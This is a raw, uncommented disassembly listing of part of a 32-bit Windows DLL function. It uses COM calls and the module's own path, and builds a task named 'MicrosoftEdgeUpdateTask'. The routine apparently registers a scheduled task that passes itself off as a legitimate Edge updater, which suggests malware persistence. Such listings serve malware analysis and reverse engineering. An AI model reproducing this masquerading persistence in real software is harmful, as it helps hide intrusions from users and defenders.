call fcn.1000623f
lea ecx, [ebp - 0x384]
call fcn.1000623f
lea ecx, [ebp - 0x31c]
call fcn.1000623f
lea ecx, [ebp - 0x36c]
mov byte [ebp - 4], 0x4c
call fcn.1000623f
mov eax, dword [ebp - 0x278]
test eax, eax
je 0x10002e59
mov edx, dword [eax]
jmp 0x10002e5b
mov edx, ebx
mov eax, dword [ebp - 0x27c]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
mov eax, dword [ebp - 0x27c]
lea edx, [ebp - 0x290]
mov dword [ebp - 0x290], ebx
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
mov edi, 0x1002dc30
lea ecx, [ebp - 0x2e8]
push edi
call fcn.10001a70
mov byte [ebp - 4], 0x4d
mov edx, dword [eax]
test edx, edx
je 0x10002ea0
mov edx, dword [edx]
jmp 0x10002ea2
mov edx, ebx
mov eax, dword [ebp - 0x290]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
lea ecx, [ebp - 0x2e8]
call fcn.10001adc
lea ecx, [ebp - 0x278]
mov byte [ebp - 4], 0xd
call fcn.10001adc
mov eax, dword [ebp - 0x298]
lea edx, [ebp - 0x2c4]
push edx
push 2
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
mov eax, dword [ebp - 0x2c4]
lea edx, [ebp - 0x29c]
push edx
mov dword [ebp - 0x29c], ebx
push 0x100244a4
mov ecx, dword [eax]
push eax
call dword [ecx]
push 0x1002dc50
lea ecx, [ebp - 0x350]
call fcn.10001a70
mov byte [ebp - 4], 0x4e
mov edx, dword [eax]
test edx, edx
je 0x10002f19
mov edx, dword [edx]
jmp 0x10002f1b
mov edx, ebx
mov eax, dword [ebp - 0x29c]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
lea ecx, [ebp - 0x350]
mov byte [ebp - 4], 0xd
call fcn.10001adc
mov eax, dword [ebp - 0x29c]
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x54]
mov eax, dword [ebp - 0x29c]
lea edx, [ebp - 0x2b0]
mov dword [ebp - 0x2b0], ebx
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
push edi
lea ecx, [ebp - 0x2e8]
call fcn.10001a70
mov byte [ebp - 4], 0x4f
mov edx, dword [eax]
test edx, edx
je 0x10002f78
mov edx, dword [edx]
jmp 0x10002f7a
mov edx, ebx
mov eax, dword [ebp - 0x2b0]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
lea ecx, [ebp - 0x2e8]
mov byte [ebp - 4], 0xd
call fcn.10001adc
mov eax, dword [ebp - 0x294]
lea edx, [ebp - 0x2c0]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x2c0]
lea edx, [ebp - 0x2bc]
push edx
push ebx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
mov eax, dword [ebp - 0x2bc]
lea edx, [ebp - 0x2b4]
push edx
push str.MbLk
push eax
mov ecx, dword [eax]
call dword [ecx]
mov eax, dword [ebp - 0x2e4]
cmp eax, 0x1002dbbb
jne 0x1000300c
push 0x104
lea eax, [ebp - 0x184]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x184]
push eax
lea ecx, [ebp - 0x2e4]
call fcn.10001a0e
mov byte [ebp - 4], 0x50
jmp 0x1000301c
push eax
lea ecx, [ebp - 0x2e4]
call fcn.10001a0e
mov byte [ebp - 4], 0x51
mov edx, dword [eax]
test edx, edx
je 0x10003026
mov edx, dword [edx]
jmp 0x10003028
mov edx, ebx
mov eax, dword [ebp - 0x2b4]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x2e4]
mov byte [ebp - 4], 0xd
call fcn.10001adc
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
push 0x50
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x194]
push eax
call dword [sym.imp.ole32.dll_StringFromGUID2]
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp - 0x274]
call fcn.10005cbc
push str.MicrosoftEdgeUpdateTask
lea ecx, [ebp - 0x244]
mov byte [ebp - 4], 0x52
call fcn.10005cbc
mov byte [ebp - 4], 0x53
lea eax, [ebp - 0x244]
cmp dword [ebp - 0x230], esi
lea ecx, [ebp - 0x278]
mov dword [ebp - 0x278], ebx
cmovae eax, dword [ebp - 0x244]
push eax
call fcn.10001a70
mov byte [ebp - 4], 0x54
push 0x1002dc3c
mov word [ebp - 0x364], si
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp - 0x35c], eax
test eax, eax
je 0x10003206
lea esi, [ebp - 0x364]
lea edi, [ebp - 0x194]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x32c]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [sym.imp.OLEAUT32.dll_VariantClear]
lea esi, [ebp - 0x32c]
lea edi, [ebp - 0x2fc]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x314]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov byte [ebp - 4], 0x57
mov eax, dword [ebp - 0x278]
test eax, eax
je 0x1000311e
mov ebx, dword [eax]
lea edx, [ebp - 0x2dc]
mov eax, dword [ebp - 0x2b8]
push edx
sub esp, 0x10
lea esi, [ebp - 0x194]
mov edi, esp
mov ecx, dword [eax]
push 3
movsd dword es:[edi], dword [esi]
pop edx
push edx
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x2fc]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x314]
push 6
push dword [ebp - 0x294]
movsd dword es:[edi], dword [esi]
push ebx
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x44]
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x314]
push eax
call esi
lea eax, [ebp - 0x32c]
push eax
call esi
lea eax, [ebp - 0x364]
push eax
call esi
call dword [sym.imp.ole32.dll_CoUninitialize]
lea ecx, [ebp - 0x278]
call fcn.10001adc
lea ecx, [ebp - 0x244]
call fcn.1000623f
lea ecx, [ebp - 0x274]
call fcn.1000623f
lea ecx, [ebp - 0x25c]
call fcn.1000623f
lea ecx, [ebp - 0x1fc]
call fcn.1000623f
lea ecx, [ebp - 0x1e4]
call fcn.1000623f
lea ecx, [ebp - 0x1cc]
call fcn.1000623f
lea ecx, [ebp - 0x1b4]
call fcn.1000623f
lea ecx, [ebp - 0x214]
call fcn.1000623f
lea ecx, [ebp - 0x22c]
call fcn.1000623f
call fcn.10008d63
ret
push 0x8007000e
call fcn.10008360
int3